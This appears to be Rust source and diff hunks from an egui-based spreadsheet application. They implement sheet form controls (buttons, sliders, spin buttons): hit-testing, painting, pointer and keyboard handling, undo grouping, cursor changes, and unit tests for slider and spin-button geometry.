#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub enum Part {
|
||||
Button,
|
||||
/// A spin button's arrow that adds a step.
|
||||
Up,
|
||||
/// A spin button's arrow that takes a step away.
|
||||
Down,
|
||||
Thumb,
|
||||
/// The track on the minimum's side of the thumb (a page down).
|
||||
TrackBefore,
|
||||
/// The track on the maximum's side of the thumb (a page up).
|
||||
TrackAfter,
|
||||
}
|
||||
|
||||
/// A control being worked with the pointer.
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub struct Gesture {
|
||||
pub id: u32,
|
||||
pub part: Part,
|
||||
/// Thumb drags: where along the track the pointer grabbed the thumb, from its centre.
|
||||
pub grab: f32,
|
||||
/// The undo stack's length when the gesture began: everything it changes is one step.
|
||||
pub undo_start: usize,
|
||||
/// When a held arrow or track repeats next (egui time, seconds).
|
||||
pub next_repeat: f64,
|
||||
}
|
||||
|
||||
/// What a control looks like this frame.
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq)]
|
||||
pub struct Look {
|
||||
pub hover: Option<Part>,
|
||||
pub pressed: Option<Part>,
|
||||
pub focused: bool,
|
||||
/// Show the value next to the thumb (while dragging).
|
||||
pub show_value: bool,
|
||||
}
|
||||
|
||||
fn fraction(c: &FormControl) -> f32 {
|
||||
let span = c.max.saturating_sub(c.min).max(1) as f32;
|
||||
(c.value.saturating_sub(c.min) as f32 / span).clamp(0.0, 1.0)
|
||||
}
|
||||
|
||||
/// A slider's track and thumb in `r`. A horizontal slider has its minimum on the left; a vertical
|
||||
/// one has it at the top (as Excel's scroll bars do).
|
||||
pub fn slider_parts(r: Rect, c: &FormControl, z: f32) -> (Rect, Rect) {
|
||||
let f = fraction(c);
|
||||
if c.horizontal {
|
||||
let knob = (r.height() - 4.0 * z).clamp(6.0 * z, 16.0 * z).min(r.width() / 2.0).max(1.0);
|
||||
let track = Rect::from_center_size(r.center(), vec2((r.width() - knob).max(1.0), (4.0 * z).min(r.height())));
|
||||
let x = track.left() + f * track.width();
|
||||
(track, Rect::from_center_size(pos2(x, r.center().y), vec2(knob, (r.height() - 4.0 * z).max(4.0))))
|
||||
} else {
|
||||
let knob = (r.width() - 4.0 * z).clamp(6.0 * z, 16.0 * z).min(r.height() / 2.0).max(1.0);
|
||||
let track = Rect::from_center_size(r.center(), vec2((4.0 * z).min(r.width()), (r.height() - knob).max(1.0)));
|
||||
let y = track.top() + f * track.height();
|
||||
(track, Rect::from_center_size(pos2(r.center().x, y), vec2((r.width() - 4.0 * z).max(4.0), knob)))
|
||||
}
|
||||
}
|
||||
|
||||
/// A spin button's halves: (the arrow that adds, the arrow that subtracts). Tall spin buttons
|
||||
/// stack them (up on top); wide ones put them side by side (up on the right).
|
||||
pub fn spin_parts(r: Rect) -> (Rect, Rect) {
|
||||
if r.height() >= r.width() {
|
||||
let (top, bottom) = r.split_top_bottom_at_fraction(0.5);
|
||||
(top, bottom)
|
||||
} else {
|
||||
let (left, right) = r.split_left_right_at_fraction(0.5);
|
||||
(right, left)
|
||||
}
|
||||
}
|
||||
|
||||
/// A logical point `p` inside control rect `r`, as the control is drawn: on a right-to-left
|
||||
/// sheet the control moves as a whole without mirroring, so `p` is reflected within `r`.
|
||||
pub fn inner(geo: &Geo, r: Rect, p: Pos2) -> Pos2 {
|
||||
if geo.rtl { pos2(r.left() + r.right() - p.x, p.y) } else { p }
|
||||
}
|
||||
|
||||
/// The part of control `c` (drawn in `r`) under `p`.
|
||||
pub fn part_at(r: Rect, c: &FormControl, z: f32, p: Pos2) -> Option<Part> {
|
||||
if !r.contains(p) {
|
||||
return None;
|
||||
}
|
||||
Some(match c.kind {
|
||||
ControlKind::Button => Part::Button,
|
||||
ControlKind::Spin => {
|
||||
let (up, _) = spin_parts(r);
|
||||
if up.contains(p) { Part::Up } else { Part::Down }
|
||||
}
|
||||
ControlKind::Slider => {
|
||||
let (_, thumb) = slider_parts(r, c, z);
|
||||
if thumb.expand(2.0).contains(p) {
|
||||
Part::Thumb
|
||||
} else {
|
||||
let before = if c.horizontal { p.x < thumb.center().x } else { p.y < thumb.center().y };
|
||||
if before { Part::TrackBefore } else { Part::TrackAfter }
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/// The value a thumb dragged to `p` stands for (`grab`: the offset from the thumb's centre where
|
||||
/// it was grabbed).
|
||||
pub fn value_at(r: Rect, c: &FormControl, z: f32, p: Pos2, grab: f32) -> f64 {
|
||||
let (track, _) = slider_parts(r, c, z);
|
||||
let f = if c.horizontal { (p.x - grab - track.left()) / track.width().max(1.0) } else { (p.y - grab - track.top()) / track.height().max(1.0) };
|
||||
c.min as f64 + f.clamp(0.0, 1.0) as f64 * c.max.saturating_sub(c.min) as f64
|
||||
}
|
||||
|
||||
/// Paints control `c` in `r`, in the sheet's control colours.
|
||||
pub fn paint(p: &Painter, r: Rect, c: &FormControl, z: f32, look: Look) {
|
||||
let t = Tokens::get(p.ctx());
|
||||
let border = Stroke::new(1.0, t.sheet_control_border);
|
||||
let bg = |part: Part| {
|
||||
if look.pressed == Some(part) {
|
||||
t.sheet_control_pressed
|
||||
} else if look.hover == Some(part) {
|
||||
t.sheet_control_hover
|
||||
} else {
|
||||
t.sheet_control_bg
|
||||
}
|
||||
};
|
||||
let clip = p.with_clip_rect(r.expand(2.0 * z.max(1.0) + 3.0).intersect(p.clip_rect()));
|
||||
match c.kind {
|
||||
ControlKind::Button => {
|
||||
let fill = bg(Part::Button);
|
||||
clip.rect_filled(r, 3.0 * z, fill);
|
||||
clip.rect_stroke(r, 3.0 * z, border, StrokeKind::Inside);
|
||||
let shift = if look.pressed == Some(Part::Button) { vec2(0.0, 1.0) } else { vec2(0.0, 0.0) };
|
||||
let g = clip.layout(c.text.clone(), theme::ui_font(12.0 * z), t.sheet_control_text, (r.width() - 8.0 * z).max(1.0));
|
||||
clip.with_clip_rect(r.shrink(1.0).intersect(clip.clip_rect())).galley(r.center() - g.size() / 2.0 + shift, g, t.sheet_control_text);
|
||||
}
|
||||
ControlKind::Slider => {
|
||||
clip.rect_filled(r, 2.0 * z, t.sheet_control_bg);
|
||||
clip.rect_stroke(r, 2.0 * z, border, StrokeKind::Inside);
|
||||
let (track, thumb) = slider_parts(r, c, z);
|
||||
clip.rect_filled(track, 2.0 * z, t.sheet_track);
|
||||
let filled = if c.horizontal {
|
||||
Rect::from_min_max(track.min, pos2(thumb.center().x, track.max.y))
|
||||
} else {
|
||||
Rect::from_min_max(track.min, pos2(track.max.x, thumb.center().y))
|
||||
};
|
||||
clip.rect_filled(filled, 2.0 * z, t.sheet_fill);
|
||||
let knob = if look.pressed == Some(Part::Thumb) || look.hover == Some(Part::Thumb) { t.sheet_control_text } else { t.sheet_thumb };
|
||||
clip.rect_filled(thumb, 3.0 * z, knob);
|
||||
clip.rect_stroke(thumb, 3.0 * z, Stroke::new(1.0, t.sheet_control_bg), StrokeKind::Inside);
|
||||
if look.show_value {
|
||||
let g = clip.layout_no_wrap(c.value.to_string(), theme::ui_font(11.0 * z), t.sheet_control_text);
|
||||
let at = if c.horizontal {
|
||||
pos2(thumb.center().x - g.size().x / 2.0, r.top() - g.size().y - 4.0 * z)
|
||||
} else {
|
||||
pos2(r.right() + 4.0 * z, thumb.center().y - g.size().y / 2.0)
|
||||
};
|
||||
let card = Rect::from_min_size(at, g.size()).expand(2.0 * z);
|
||||
p.rect_filled(card, 2.0 * z, t.sheet_control_bg);
|
||||
p.rect_stroke(card, 2.0 * z, border, StrokeKind::Inside);
|
||||
p.galley(at, g, t.sheet_control_text);
|
||||
}
|
||||
}
|
||||
ControlKind::Spin => {
|
||||
let (up, down) = spin_parts(r);
|
||||
let tall = r.height() >= r.width();
|
||||
for (half, part) in [(up, Part::Up), (down, Part::Down)] {
|
||||
clip.rect_filled(half, 2.0 * z, bg(part));
|
||||
clip.rect_stroke(half, 2.0 * z, border, StrokeKind::Inside);
|
||||
let s = (half.width().min(half.height()) * 0.28).max(1.5);
|
||||
let m = half.center();
|
||||
let tri = match (tall, part) {
|
||||
(true, Part::Up) => vec![pos2(m.x, m.y - s * 0.6), pos2(m.x - s, m.y + s * 0.5), pos2(m.x + s, m.y + s * 0.5)],
|
||||
(true, _) => vec![pos2(m.x, m.y + s * 0.6), pos2(m.x + s, m.y - s * 0.5), pos2(m.x - s, m.y - s * 0.5)],
|
||||
(false, Part::Up) => vec![pos2(m.x + s * 0.6, m.y), pos2(m.x - s * 0.5, m.y + s), pos2(m.x - s * 0.5, m.y - s)],
|
||||
(false, _) => vec![pos2(m.x - s * 0.6, m.y), pos2(m.x + s * 0.5, m.y - s), pos2(m.x + s * 0.5, m.y + s)],
|
||||
};
|
||||
clip.add(PathShape::convex_polygon(tri, t.sheet_control_text, Stroke::NONE));
|
||||
}
|
||||
}
|
||||
}
|
||||
if look.focused {
|
||||
p.rect_stroke(r.expand(2.0), 3.0 * z, Stroke::new(2.0, t.sheet_focus), StrokeKind::Outside);
|
||||
}
|
||||
}
|
||||
|
||||
/// The control with `id` on `sh`.
|
||||
pub fn find(sh: &Sheet, id: u32) -> Option<&FormControl> {
|
||||
sh.controls.iter().find(|c| c.id == id)
|
||||
}
|
||||
|
||||
/// How control `c` looks this frame, from the gesture, the focus and the pointer (`hover`, a
|
||||
/// logical position).
|
||||
pub fn look(app: &SheetApp, geo: &Geo, c: &FormControl, r: Rect, hover: Option<Pos2>) -> Look {
|
||||
let gesture = app.grid.control.as_ref().filter(|g| g.id == c.id);
|
||||
let selected = app.selected_object == Some(ObjRef::new(ObjKind::Control, c.id));
|
||||
let hover = if selected { None } else { hover.and_then(|p| part_at(r, c, geo.z, inner(geo, r, p))) };
|
||||
let pressed = gesture.map(|g| g.part).filter(|part| *part == Part::Thumb || hover == Some(*part));
|
||||
Look { hover, pressed, focused: app.grid.focused_control == Some(c.id) && !selected, show_value: gesture.is_some_and(|g| g.part == Part::Thumb) }
|
||||
}
|
||||
|
||||
impl SheetApp {
|
||||
/// Sets a slider or spin button's value; inside a gesture, keeps it one undo step.
|
||||
fn control_set(&mut self, id: u32, value: f64) -> bool {
|
||||
match self.session.run("control.setValue", json!({"id": id, "value": value})) {
|
||||
Ok(_) => {
|
||||
if let Some(start) = self.grid.control.as_ref().map(|g| g.undo_start)
|
||||
&& let Some(d) = self.session.active_mut()
|
||||
&& d.undo.len() > start + 1
|
||||
{
|
||||
d.undo.truncate(start + 1);
|
||||
}
|
||||
true
|
||||
}
|
||||
Err(e) => {
|
||||
self.grid.control = None;
|
||||
self.message = Some(("Form Control".into(), crate::clean_error(&e)));
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Moves a slider or spin button by `steps` steps (negative: toward the minimum), or by pages
|
||||
/// when `page` is set.
|
||||
pub fn control_nudge(&mut self, id: u32, steps: i64, page: bool) -> bool {
|
||||
let Some(c) = self.session.active().and_then(|d| d.wb.active()).and_then(|sh| find(sh, id)).cloned() else { return false };
|
||||
if c.kind == ControlKind::Button {
|
||||
return false;
|
||||
}
|
||||
let by = if page && c.kind == ControlKind::Slider { c.page } else { c.step } as f64;
|
||||
self.control_set(id, c.value as f64 + steps as f64 * by)
|
||||
}
|
||||
|
||||
/// Runs a button's action. Questions (approve it, make room for a macro's output) become a
|
||||
/// prompt.
|
||||
pub fn press_button(&mut self, id: u32) {
|
||||
crate::control_ui::press(self, json!({"id": id}));
|
||||
}
|
||||
}
|
||||
|
||||
/// Pointer handling for controls on the grid. Returns true when it used the pointer this frame
|
||||
/// (so the grid neither selects cells nor objects).
|
||||
pub fn interact(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Response, geo: &Geo, sh: &Sheet) -> bool {
|
||||
let (pointer, mods, time) = ctx.input(|i| (i.pointer.clone(), i.modifiers, i.time));
|
||||
let pos = pointer.interact_pos().or(pointer.hover_pos()).map(|p| geo.mirror_pos(p));
|
||||
// A control that no longer exists loses its gesture and focus.
|
||||
if let Some(id) = app.grid.focused_control
|
||||
&& find(sh, id).is_none()
|
||||
{
|
||||
app.grid.focused_control = None;
|
||||
}
|
||||
if let Some(g) = app.grid.control.clone() {
|
||||
let Some(c) = find(sh, g.id).cloned() else {
|
||||
app.grid.control = None;
|
||||
return true;
|
||||
};
|
||||
let r = crate::chartview::anchor_rect(geo, sh, &c.anchor);
|
||||
if pointer.primary_down() {
|
||||
match g.part {
|
||||
Part::Thumb => {
|
||||
if let Some(p) = pos {
|
||||
let v = c.snap(value_at(r, &c, geo.z, inner(geo, r, p), g.grab));
|
||||
if v != c.value {
|
||||
app.control_set(c.id, v as f64);
|
||||
}
|
||||
}
|
||||
}
|
||||
Part::Button => {}
|
||||
part => {
|
||||
// Held arrows and track repeat while the pointer stays on them.
|
||||
let over = pos.and_then(|p| part_at(r, &c, geo.z, inner(geo, r, p))) == Some(part);
|
||||
if over && time >= g.next_repeat {
|
||||
step_part(app, &c, part);
|
||||
if let Some(gg) = app.grid.control.as_mut() {
|
||||
gg.next_repeat = time + REPEAT_EVERY;
|
||||
}
|
||||
}
|
||||
ctx.request_repaint_after(std::time::Duration::from_millis(30));
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
// Released: a button runs when the pointer is still on it.
|
||||
app.grid.control = None;
|
||||
if g.part == Part::Button && pos.is_some_and(|p| r.contains(p)) {
|
||||
app.press_button(c.id);
|
||||
}
|
||||
resp.request_focus();
|
||||
return true;
|
||||
}
|
||||
if !pointer.primary_pressed() || !resp.contains_pointer() {
|
||||
// Any other press, on the grid (a right-click on a cell) or off it, moves the focus off
|
||||
// the control, so a later Enter or Space doesn't work it.
|
||||
if pointer.any_pressed() && app.grid.focused_control.is_some() {
|
||||
app.grid.focused_control = None;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
let Some(p) = pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) else { return false };
|
||||
// The selected object's handles reach past its frame and win over a control beneath them.
|
||||
if let Some(r) = app.selected_object.and_then(|o| crate::chartview::object_rect(geo, sh, o))
|
||||
&& crate::objects::handle_at(r, p).is_some()
|
||||
{
|
||||
return false;
|
||||
}
|
||||
let hit = crate::chartview::hit(app, geo, sh, p).filter(|(o, _)| o.kind == ObjKind::Control);
|
||||
// Ctrl or Cmd+click selects; a selected control moves and resizes instead of working.
|
||||
let Some((o, r)) = hit.filter(|(o, _)| !mods.command && !mods.ctrl && app.selected_object != Some(*o)) else {
|
||||
app.grid.focused_control = None;
|
||||
return false;
|
||||
};
|
||||
let Some(c) = find(sh, o.id).cloned() else { return false };
|
||||
let p = inner(geo, r, p);
|
||||
let Some(part) = part_at(r, &c, geo.z, p) else { return false };
|
||||
app.selected_object = None;
|
||||
app.grid.focused_control = Some(c.id);
|
||||
let undo_start = app.session.active().map_or(0, |d| d.undo.len());
|
||||
let grab = if part == Part::Thumb {
|
||||
let (_, thumb) = slider_parts(r, &c, geo.z);
|
||||
if c.horizontal { p.x - thumb.center().x } else { p.y - thumb.center().y }
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
app.grid.control = Some(Gesture { id: c.id, part, grab, undo_start, next_repeat: time + REPEAT_DELAY });
|
||||
if !matches!(part, Part::Button | Part::Thumb) {
|
||||
step_part(app, &c, part);
|
||||
}
|
||||
resp.request_focus();
|
||||
true
|
||||
}
|
||||
|
||||
/// One click on an arrow or the track.
|
||||
fn step_part(app: &mut SheetApp, c: &FormControl, part: Part) {
|
||||
match part {
|
||||
Part::Up => app.control_nudge(c.id, 1, false),
|
||||
Part::Down => app.control_nudge(c.id, -1, false),
|
||||
Part::TrackBefore => app.control_nudge(c.id, -1, true),
|
||||
Part::TrackAfter => app.control_nudge(c.id, 1, true),
|
||||
Part::Button | Part::Thumb => false,
|
||||
};
|
||||
}
|
||||
|
||||
/// Whether the focused control is a button. Space presses one, so the space it types must not
|
||||
/// start a cell edit; a slider or spin button doesn't take Space, and its space reaches the grid
|
||||
/// like any other character.
|
||||
pub fn focused_button(app: &SheetApp, sh: &Sheet) -> bool {
|
||||
app.grid.focused_control.and_then(|id| find(sh, id)).is_some_and(|c| c.kind == ControlKind::Button)
|
||||
}
|
||||
|
||||
/// The grid takes a key while a control is focused: a button gives the keyboard back, so a later
|
||||
/// Enter or Space doesn't press it again and Space starts a cell edit; a slider or spin button
|
||||
/// keeps it, as the control last worked, which the arrows still step.
|
||||
pub fn key_to_grid(app: &mut SheetApp, sh: &Sheet) {
|
||||
if focused_button(app, sh) {
|
||||
app.grid.focused_control = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// Keys for the focused control: arrows move by a step, Page Up and Page Down by a page, Home and
|
||||
/// End to the ends; Space or Enter presses a button. True when the key was used. `repeat` is a key
|
||||
/// held down: it steps a slider or spin button again, but a button runs once per press.
|
||||
pub fn key(app: &mut SheetApp, sh: &Sheet, key: egui::Key, repeat: bool) -> bool {
|
||||
use egui::Key;
|
||||
let Some(c) = app.grid.focused_control.and_then(|id| find(sh, id)).cloned() else { return false };
|
||||
if app.selected_object.is_some() {
|
||||
return false;
|
||||
}
|
||||
match (c.kind, key) {
|
||||
(_, Key::Escape) => {
|
||||
app.grid.focused_control = None;
|
||||
true
|
||||
}
|
||||
(ControlKind::Button, Key::Space | Key::Enter) => {
|
||||
if !repeat {
|
||||
app.press_button(c.id);
|
||||
}
|
||||
true
|
||||
}
|
||||
(ControlKind::Button, _) => false,
|
||||
// A spin button's up arrow adds; a slider's minimum is at its left or top.
|
||||
(ControlKind::Spin, Key::ArrowUp | Key::ArrowRight) | (ControlKind::Slider, Key::ArrowDown | Key::ArrowRight) => {
|
||||
app.control_nudge(c.id, 1, false)
|
||||
}
|
||||
(ControlKind::Spin, Key::ArrowDown | Key::ArrowLeft) | (ControlKind::Slider, Key::ArrowUp | Key::ArrowLeft) => {
|
||||
app.control_nudge(c.id, -1, false)
|
||||
}
|
||||
(ControlKind::Spin, Key::PageUp) | (ControlKind::Slider, Key::PageDown) => app.control_nudge(c.id, 1, true),
|
||||
(ControlKind::Spin, Key::PageDown) | (ControlKind::Slider, Key::PageUp) => app.control_nudge(c.id, -1, true),
|
||||
(_, Key::Home) => app.control_set(c.id, c.min as f64),
|
||||
(_, Key::End) => app.control_set(c.id, c.max as f64),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn slider(value: u32, horizontal: bool) -> FormControl {
|
||||
FormControl { kind: ControlKind::Slider, min: 0, max: 100, value, horizontal, ..Default::default() }
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_thumb_sits_at_the_value_and_dragging_reads_it_back() {
|
||||
let r = Rect::from_min_size(pos2(10.0, 10.0), vec2(200.0, 20.0));
|
||||
for v in [0, 25, 50, 100] {
|
||||
let c = slider(v, true);
|
||||
let (_, thumb) = slider_parts(r, &c, 1.0);
|
||||
assert!((value_at(r, &c, 1.0, thumb.center(), 0.0) - v as f64).abs() < 0.5, "{v}");
|
||||
assert_eq!(part_at(r, &c, 1.0, thumb.center()), Some(Part::Thumb));
|
||||
}
|
||||
let c = slider(50, true);
|
||||
assert_eq!(part_at(r, &c, 1.0, pos2(15.0, 20.0)), Some(Part::TrackBefore));
|
||||
assert_eq!(part_at(r, &c, 1.0, pos2(205.0, 20.0)), Some(Part::TrackAfter));
|
||||
assert_eq!(part_at(r, &c, 1.0, pos2(5.0, 20.0)), None);
|
||||
// Past the ends clamps.
|
||||
assert_eq!(value_at(r, &c, 1.0, pos2(-500.0, 20.0), 0.0), 0.0);
|
||||
assert_eq!(value_at(r, &c, 1.0, pos2(900.0, 20.0), 0.0), 100.0);
|
||||
// Vertical: the minimum is at the top.
|
||||
let r = Rect::from_min_size(pos2(0.0, 0.0), vec2(20.0, 200.0));
|
||||
let c = slider(0, false);
|
||||
let (_, thumb) = slider_parts(r, &c, 1.0);
|
||||
assert!(thumb.center().y < 20.0);
|
||||
assert_eq!(part_at(r, &slider(50, false), 1.0, pos2(10.0, 190.0)), Some(Part::TrackAfter));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn spin_halves() {
|
||||
let tall = Rect::from_min_size(pos2(0.0, 0.0), vec2(18.0, 36.0));
|
||||
let c = FormControl { kind: ControlKind::Spin, ..Default::default() };
|
||||
assert_eq!(part_at(tall, &c, 1.0, pos2(9.0, 5.0)), Some(Part::Up));
|
||||
assert_eq!(part_at(tall, &c, 1.0, pos2(9.0, 30.0)), Some(Part::Down));
|
||||
let wide = Rect::from_min_size(pos2(0.0, 0.0), vec2(40.0, 18.0));
|
||||
assert_eq!(part_at(wide, &c, 1.0, pos2(35.0, 9.0)), Some(Part::Up));
|
||||
assert_eq!(part_at(wide, &c, 1.0, pos2(5.0, 9.0)), Some(Part::Down));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn degenerate_ranges_do_not_divide_by_zero() {
|
||||
let r = Rect::from_min_size(pos2(0.0, 0.0), vec2(1.0, 1.0));
|
||||
let c = FormControl { kind: ControlKind::Slider, min: 5, max: 5, value: 5, ..Default::default() };
|
||||
let (track, thumb) = slider_parts(r, &c, 1.0);
|
||||
assert!(track.width().is_finite() && thumb.center().x.is_finite());
|
||||
assert!(value_at(r, &c, 1.0, pos2(0.5, 0.5), 0.0).is_finite());
|
||||
}
|
||||
}
|
||||
@@ -297,6 +297,14 @@ pub struct GridState {
|
||||
pub hf_start: bool,
|
||||
/// The grid geometry of the last frame (hit-testing for agents and tests).
|
||||
pub geo: Option<Geo>,
|
||||
/// A form control being worked with the pointer.
|
||||
pub control: Option<crate::form_controls::Gesture>,
|
||||
/// The form control that takes the arrow keys (the one last worked).
|
||||
pub focused_control: Option<u32>,
|
||||
/// Insert › Controls: the kind a click or drag on the grid places, and where the drag began
|
||||
/// (logical position).
|
||||
pub placing: Option<gridcraft_engine::model::ControlKind>,
|
||||
pub place_start: Option<Pos2>,
|
||||
/// The horizontal scrollbar's track in the sheet tab bar (hit-testing for tests).
|
||||
pub hscroll: Option<Rect>,
|
||||
/// The handle between the sheet tabs and the horizontal scrollbar (hit-testing for tests).
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
use gridcraft_engine::model::ObjKind;
|
||||
|
||||
use super::geo::Geo;
|
||||
use super::interact::{col_edge, freeze_handles, hidden_col_edge, hidden_row_edge, on_border, row_edge};
|
||||
use super::{CellRef, Color32, CursorIcon, Drag, Pos2, RangeRef, Rect, Sheet, SheetApp, Stroke, pos2, vec2};
|
||||
@@ -21,8 +23,9 @@ pub(super) fn update_cursor(app: &mut SheetApp, ui: &egui::Ui, resp: &egui::Resp
|
||||
{
|
||||
app.grid.hover_cell = in_cells.then(|| geo.cell_at(sh, p));
|
||||
}
|
||||
// Draw tools own the cursor over cells, including while recording a stroke.
|
||||
if !app.session.draw_tool.is_empty() && in_cells {
|
||||
// Draw tools and Insert › Controls placement own the cursor over cells, including while
|
||||
// recording a stroke or drawing the control.
|
||||
if (!app.session.draw_tool.is_empty() || app.grid.placing.is_some()) && in_cells {
|
||||
ctx.set_cursor_icon(CursorIcon::Crosshair);
|
||||
return;
|
||||
}
|
||||
@@ -79,9 +82,15 @@ fn hover_cursor(app: &SheetApp, ctx: &egui::Context, resp: &egui::Response, poin
|
||||
// The selected object's handles resize it; any object's body moves it.
|
||||
let idle = app.grid.drag == Drag::None && app.editor.is_none();
|
||||
let object_handle = if idle { crate::chartview::selected_handle(app, geo, sh, p).map(|(.., h)| h) } else { None };
|
||||
let on_object = idle && crate::chartview::hit(app, geo, sh, p).is_some();
|
||||
let hit = if idle { crate::chartview::hit(app, geo, sh, p) } else { None };
|
||||
// A form control works on click unless it is selected (or Ctrl or Cmd is held).
|
||||
let mods = ctx.input(|i| i.modifiers);
|
||||
let works = hit.is_some_and(|(o, _)| o.kind == ObjKind::Control && app.selected_object != Some(o) && !mods.command && !mods.ctrl);
|
||||
let on_object = hit.is_some();
|
||||
if let Some(h) = object_handle {
|
||||
ctx.set_cursor_icon(h.cursor(geo.rtl));
|
||||
} else if works {
|
||||
ctx.set_cursor_icon(CursorIcon::PointingHand);
|
||||
} else if on_object {
|
||||
ctx.set_cursor_icon(CursorIcon::Move);
|
||||
} else if near_col_edge || (in_row_header && row_edge(geo, sh, p.y).is_some()) {
|
||||
|
||||
@@ -64,6 +64,15 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
|
||||
let in_col_header = pos.is_some_and(|p| p.y < geo.cells.top() && p.y >= geo.head_top() && p.x >= geo.cells.left());
|
||||
let in_row_header = pos.is_some_and(|p| p.x < geo.cells.left() && p.x >= geo.head_left() && p.y >= geo.cells.top());
|
||||
let in_corner = pos.is_some_and(|p| p.x < geo.cells.left() && p.y < geo.cells.top() && p.x >= geo.head_left() && p.y >= geo.head_top());
|
||||
// Insert › Controls places a control; a click works a form control (Ctrl or Cmd+click, or a
|
||||
// right-click, selects it instead).
|
||||
if app.editor.is_none() && crate::control_ui::place(app, ui, resp, geo, sh) {
|
||||
return;
|
||||
}
|
||||
if app.editor.is_none() && app.session.draw_tool.is_empty() && crate::form_controls::interact(app, &ctx, resp, geo, sh) {
|
||||
keyboard(app, &ctx, resp, geo, sh);
|
||||
return;
|
||||
}
|
||||
let sel = app.session.active().map(|d| d.selection.clone()).unwrap_or_default();
|
||||
let cur_rect = geo.range_rect(sh, sel.current());
|
||||
let handle = Rect::from_center_size(cur_rect.right_bottom(), vec2(9.0, 9.0));
|
||||
@@ -100,10 +109,14 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
|
||||
return;
|
||||
}
|
||||
// A plain click on a slicer value tile toggles it (Ctrl/Cmd for multi-select); the clear
|
||||
// button resets it. Runs before the generic object select/drag so tiles stay clickable.
|
||||
// button resets it. Runs before the generic object select/drag so tiles stay clickable, but
|
||||
// only when the slicer is what the press lands on: a form control over a tile (Ctrl or
|
||||
// Cmd+clicked, or clicked while selected, so `form_controls::interact` left the click) and a
|
||||
// selected object's handle keep the generic path, which selects, moves or resizes them.
|
||||
if primary_clicked
|
||||
&& !resp.drag_started()
|
||||
&& let Some(p) = pos
|
||||
&& object_under(app, geo, sh, p).is_some_and(|(o, _, handle)| o.kind == ObjKind::Slicer && handle.is_none())
|
||||
&& let Some((id, act)) = crate::chartview::slicer_click(geo, sh, wb, wb.active_sheet(), p)
|
||||
{
|
||||
app.selected_object = Some(ObjRef::new(ObjKind::Slicer, id));
|
||||
@@ -126,10 +139,10 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
|
||||
// The selected object's handles reach a little outside it, so they win over hit-testing.
|
||||
// Only they resize: a press anywhere on another object selects and moves it, as the
|
||||
// hover cursor shows.
|
||||
let on_handle = at.and_then(|p| crate::chartview::selected_handle(app, geo, sh, p));
|
||||
let handle = on_handle.map(|(.., h)| h);
|
||||
let under = at.and_then(|p| object_under(app, geo, sh, p));
|
||||
let handle = under.and_then(|(.., h)| h);
|
||||
if let Some(p) = at
|
||||
&& let Some((obj, _)) = on_handle.map(|(o, r, _)| (o, r)).or_else(|| crate::chartview::hit(app, geo, sh, p))
|
||||
&& let Some((obj, _, _)) = under
|
||||
{
|
||||
app.selected_object = Some(obj);
|
||||
if resp.double_clicked() && app.open_object(obj) != crate::objects::OpenAction::Select {
|
||||
@@ -146,14 +159,18 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo
|
||||
}
|
||||
app.selected_object = None;
|
||||
}
|
||||
// A right-click on a chart, picture, shape or slicer opens the object's menu, not the cell's
|
||||
// under it; a right press that wobbles into a drag counts too (#2067).
|
||||
// A right-click on a chart, picture, shape, slicer or form control opens the object's menu, not
|
||||
// the cell's under it; a right press that wobbles into a drag counts too (#2067). On a form
|
||||
// control it selects the control without running it.
|
||||
let secondary_drag = resp.drag_started_by(egui::PointerButton::Secondary);
|
||||
if (resp.secondary_clicked() || secondary_drag)
|
||||
&& let Some(p) = if secondary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos }
|
||||
&& let Some((obj, _)) = crate::chartview::hit(app, geo, sh, p)
|
||||
{
|
||||
app.selected_object = Some(obj);
|
||||
if obj.kind == ObjKind::Control {
|
||||
app.grid.focused_control = None;
|
||||
}
|
||||
app.grid.object_menu = Some((geo.mirror_pos(p), obj.kind.name(), obj.id));
|
||||
return;
|
||||
}
|
||||
@@ -333,6 +350,7 @@ fn handle_column_header_press(app: &mut SheetApp, input: &InteractionInput<'_>,
|
||||
return;
|
||||
}
|
||||
let range = if mods.shift { RangeRef::cols(sel.anchor.col.min(c), sel.anchor.col.max(c)) } else { RangeRef::cols(c, c) };
|
||||
note_selecting_press(app);
|
||||
select_ranges(app, range, mods.command, CellRef::new(geo.row_at(sh, geo.cells.top() + 1.0), c));
|
||||
app.grid.drag = Drag::Cols(if mods.shift { sel.anchor.col } else { c });
|
||||
}
|
||||
@@ -353,6 +371,7 @@ fn handle_row_header_press(app: &mut SheetApp, input: &InteractionInput<'_>, p:
|
||||
return;
|
||||
}
|
||||
let range = if mods.shift { RangeRef::rows(sel.anchor.row.min(r), sel.anchor.row.max(r)) } else { RangeRef::rows(r, r) };
|
||||
note_selecting_press(app);
|
||||
select_ranges(app, range, mods.command, CellRef::new(r, geo.col_at(sh, geo.cells.left() + 1.0)));
|
||||
app.grid.drag = Drag::Rows(if mods.shift { sel.anchor.row } else { r });
|
||||
}
|
||||
@@ -384,6 +403,7 @@ fn handle_press(app: &mut SheetApp, input: &InteractionInput<'_>) {
|
||||
return;
|
||||
}
|
||||
if in_corner {
|
||||
note_selecting_press(app);
|
||||
let _ = app.session.run("selection.set", json!({"range": RangeRef::all().a1()}));
|
||||
return;
|
||||
